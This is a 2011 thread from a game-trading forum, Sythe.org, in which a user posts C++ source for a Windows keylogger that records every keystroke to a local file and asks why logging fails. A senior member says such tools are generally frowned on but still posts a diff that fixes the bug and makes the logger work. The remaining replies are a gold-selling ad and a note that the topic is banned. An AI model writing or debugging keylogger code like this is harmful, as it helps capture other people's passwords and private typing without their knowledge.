Sythe.Org Forums     Register     FAQ     Members List     Calendar     Mark Forums Read    
 
Sythe.Org Forums  
   Runescape Gold

Sythe.org — A Virtual Goods Trading Hub

Make real cash! buying and selling in-game items.

We have a no-scam policy.

You can make thousands playing your favourite games here at Sythe.org.

Just sign up an account and follow the rules!


Take me to

Runescape Markets

Other Game Markets

Support Center

Register an Account

Close
What's wrong with this?
Reply
 
LinkBack Thread Tools Display Modes
  #1  
Old 08-19-2011, 07:00 AM
Active Member
 
Join Date: Jun 2007
Posts: 190
Send a message via MSN to 1cy phyr3
Default What's wrong with this?

I made this recently out of boredom in a good 10 minutes from my friend betting me I couldn't make a working keylogging program in a small time and after making it I noticed that it has problems with sending the text to log.txt if someone could tell me what I did wrong that would be great
#include <iostream>
#include <fstream>
#include <Windows.h>

int main()
{
std:fstream Log("Log.txt");

bool AllowKey[128];

for(int i = 0; i < 128; i++)
{
AllowKey[i] = false;
}

while(1)
{
for(int K = 0; K <= 127; K++)
{
if((bool)GetAsyncKeyState(K) == true && AllowKey[K])
{
Log << (char)K <<"\n";
Log.flush();
AllowKey[K] = false;
}

if((bool)GetAsyncKeyState(K) == false)
{
AllowKey[K] = true;
}
}
}
}
Reply With Quote
  #2  
Old 08-25-2011, 11:47 PM
Guru
 
Join Date: Jan 2007
Location: /home/Canada
Posts: 1,768
Default Re: What's wrong with this?

We generally don't approve of keyloggers but I'm going to give you the benefit of the doubt and believe you are just doing it as a hobbyist way of learning because your friend didn't think that you could just like you said.

First of all you posted code that won't compile because you missed a colon in the 7th line. The only thing wrong with your code is that it will only work if the file already exists (appending) because you don't tell it what kind of operations the stream should expect. Tell it to expect output and it will create the file.

Here are my changes. Hopefully you can read diff output.
Code:
7c7,8
< std:fstream Log("Log.txt");
---
> std::fstream Log;
> Log.open("Log.txt", std::fstream::out);
Reply With Quote
  #3  
Old 08-26-2011, 01:07 PM
MrMango's Avatar
Active Member
 
Join Date: Aug 2011
Location: LaLa Land
Posts: 113
Send a message via MSN to MrMango
Default Re: What's wrong with this?

add my msn.
__________________


MY PURE FOR SALE!


MY NEW QUEST SHOP

Quote:
Originally Posted by nickster123 View Post
Massive Vouch for MrMango, Sold 700Mil Via PayPal for $350! Was quick and easy.
Reply With Quote
  #4  
Old 08-26-2011, 01:08 PM
Member
BANNED
 
Join Date: Aug 2011
Posts: 91
Send a message via MSN to Pansy123
Default Re: What's wrong with this?

This isn't allowed.
Reply With Quote
  #5  
Old 08-27-2011, 01:22 AM
Active Member
 
Join Date: Jun 2007
Posts: 190
Send a message via MSN to 1cy phyr3
Default Re: What's wrong with this?

Just a note to everyone saying it's not allowed. This is just a keylogger that runs on my computer to see if I could make one I've been teaching myself C++ for a little bit now and this is one of things I've made so far If it really isn't allowed then I'm sorry :P
EDIT: Thanks for the help I'm not very good at it haha :P

Last edited by 1cy phyr3 : 08-27-2011 at 01:24 AM.
Reply With Quote
Reply



Cheap RS Gold Store  Runescape Gold

Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are Off

All times are GMT +1. The time now is 04:59 AM.


Powered by vBulletin® Version 3.6.4
Copyright ©2000 - 2013, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.6.1